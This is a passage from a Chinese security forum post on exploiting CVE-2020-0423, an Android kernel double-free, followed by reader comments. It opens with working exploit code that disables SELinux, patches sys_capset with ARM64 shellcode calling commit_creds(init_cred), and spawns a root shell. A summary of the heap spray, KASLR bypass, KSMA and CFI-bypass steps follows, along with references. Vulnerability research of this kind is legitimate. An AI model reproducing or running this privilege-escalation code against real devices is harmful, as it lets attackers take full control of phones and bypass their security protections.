*(uint32_t *)selinux_enforcing_addr = 0;
 
debug_printf("After: enforcing = %x\n", *(uint32_t *)selinux_enforcing_addr);
 
2. get root.
 
#define LO_DWORD(addr) ((addr) & 0xffffffff)
#define HI_DWORD(addr) LO_DWORD((addr) >> 32)
 
/* Preparing addresses for the shellcode */
uint64_t sys_capset_addr = base + 0x80000 + SYS_CAPSET;
uint64_t init_cred_addr = kaslr_leak + INIT_CRED;
uint64_t commit_creds_addr = kaslr_leak + COMMIT_CREDS;
 
uint32_t shellcode[] = {
    // commit_creds(init_cred)
    0x58000040, // ldr x0, .+8
    0x14000003, // b   .+12
    LO_DWORD(init_cred_addr),
    HI_DWORD(init_cred_addr),
    0x58000041, // ldr x1, .+8
    0x14000003, // b   .+12
    LO_DWORD(commit_creds_addr),
    HI_DWORD(commit_creds_addr),
    0xA9BF7BFD, // stp x29, x30, [sp, #-0x10]!
    0xD63F0020, // blr x1
    0xA8C17BFD, // ldp x29, x30, [sp], #0x10
 
    0x2A1F03E0, // mov w0, wzr
    0xD65F03C0, // ret
};
 
/* Saving sys_capset current code */
uint8_t sys_capset[sizeof(shellcode)];
memcpy(sys_capset, sys_capset_addr, sizeof(sys_capset));
 
/* Patching sys_capset with our shellcode */
debug_print("Patching SyS_capset()\n");
memcpy(sys_capset_addr, shellcode, sizeof(shellcode));
 
/* Calling our patched version of sys_capset */
ret = capset(NULL, NULL);
debug_printf("capset returned %d", ret);
if (ret < 0) perror("capset failed");
 
/* Restoring sys_capset */
debug_print("Restoring SyS_capset()");
memcpy(sys_capset_addr, sys_capset, sizeof(sys_capset));
 
/* Starting a shell */
system("sh");
 
exit(0);

总结

本漏洞得多次利用race condition来实现每个重要的阶段,如控制w->type来进行double free,但由于w是堆喷的对象,所以此刻的double free虽然free掉的同一个内核虚拟地址,但是free的其实不是同一个对象,可以认为free掉的不是对应的同一个object, 接下来进入利用阶段,两次kmalloc会发生重叠,会申请到同一个内核虚拟地址,此刻利用sendmsg signalfd和 seq_operations来进行堆喷两次,调用read来实现读取seq_start的地址,绕过内核随机化保护, 然后又利用double free触发漏洞,结合ksma写入页表一个block描述符,修改freelist指针,由于signalfd的写入限制,所以加入了一个全局buffer作为跳板,再通过sendmsg和eventd的堆喷驻留,最后write写入其count字段,绕过cfi保护,后续的root部分就是常规操作了。

 

由于文章新出来没几天,也是自己对篇文章的理解,欢迎讨论和指点。

 

参考
https://blog.longterm.io/cve-2020-0423.html

 

KSMA: Breaking Android kernel isolation and Rooting with ARM MMU features - ThomasKing
https://i.blackhat.com/briefings/asia/2018/asia-18-WANG-KSMA-Breaking-Android-kernel-isolation-and-Rooting-with-ARM-MMU-features.pdf

 

Mitigations are attack surface, too - Project Zero
https://googleprojectzero.blogspot.com/2020/02/mitigations-are-attack-surface-too.html

 

Exploiting CVE-2020-0041: Escaping the Chrome Sandbox - Blue Frost Security
Part 1: https://labs.bluefrostsecurity.de/blog/2020/03/31/cve-2020-0041-part-1-sandbox-escape/
Part 2: https://labs.bluefrostsecurity.de/blog/2020/04/08/cve-2020-0041-part-2-escalating-to-root/


恭喜ID[飞翔的猫咪]获看雪安卓应用安全能力认证高级安全工程师!!

收藏
点赞11
打赏
分享
最新回复 (16)
雪    币: 1
活跃值: 活跃值 (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wx_秋木 活跃值 2020-12-25 15:17
2
0
好活 好活
雪    币: 2389
活跃值: 活跃值 (585)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
湿求了鸭 活跃值 2020-12-25 19:50
3
0
感谢,我的索尼有办法root了
雪    币: 8354
活跃值: 活跃值 (15016)
能力值: (RANK:750 )
在线值:
发帖
回帖
粉丝
ScUpax0s 活跃值 13 2020-12-26 08:38
4
0
感谢分享
雪    币: 9703
活跃值: 活跃值 (9580)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2 2020-12-26 10:51
5
0
感谢分享
雪    币: 614
活跃值: 活跃值 (636)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
mb_foyotena 活跃值 2020-12-26 11:25
6
0
湿求了鸭 感谢,我的索尼有办法root了[em_63]
成功了么
雪    币: 12
活跃值: 活跃值 (51)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zpazz 活跃值 2020-12-26 18:19
7
0
牛皮
雪    币: 7693
活跃值: 活跃值 (840)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
jltxgcy 活跃值 2 2020-12-27 10:02
8
0
赞赞赞。
雪    币: 2071
活跃值: 活跃值 (3510)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lhxdiao 活跃值 2020-12-27 18:38
9
0
不错,跟我以前利用的内核提权相似
雪    币: 613
活跃值: 活跃值 (649)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
牛maomao 活跃值 2021-1-4 14:06
10
0
厉害啊,这么快
雪    币: 8911
活跃值: 活跃值 (37854)
能力值: (RANK:105 )
在线值:
发帖
回帖
粉丝
Editor 活跃值 2021-1-4 17:11
11
0
顶~
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
wx_H.h 活跃值 2021-2-1 09:47
12
0
https://www.longterm.io/cve-2020-0423.html
这才是原文
雪    币: 207
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
全儿 活跃值 2021-2-7 09:54
13
0
想问一下spray_thread_data结构体是怎么定义的吗,求解答
雪    币: 2071
活跃值: 活跃值 (3510)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lhxdiao 活跃值 2021-2-15 15:42
14
0
文章写得略显复杂,原理就是两次释放一个虚拟内存地址,实际上并不是同一个物理地址。剩下的就不必多说了,但是利用这个原理,我发现好像没法提权我的安卓设备,可能是哪里利用的不对吧。。。卡在写入Descriptor无效上了
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
m0y1 活跃值 2021-4-16 16:57
15
0
雪    币: 949
活跃值: 活跃值 (117)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
starbuck 活跃值 1 2021-11-26 14:36
16
0
翻译的不说明还精华???
雪    币: 11081
活跃值: 活跃值 (3158)
能力值: (RANK:200 )
在线值:
发帖
回帖
粉丝
LowRebSwrd 活跃值 4 2021-12-8 10:40
17
0
starbuck 翻译的不说明还精华???
看简介的地方,确实写的翻译
游客
登录 | 注册 方可回帖
返回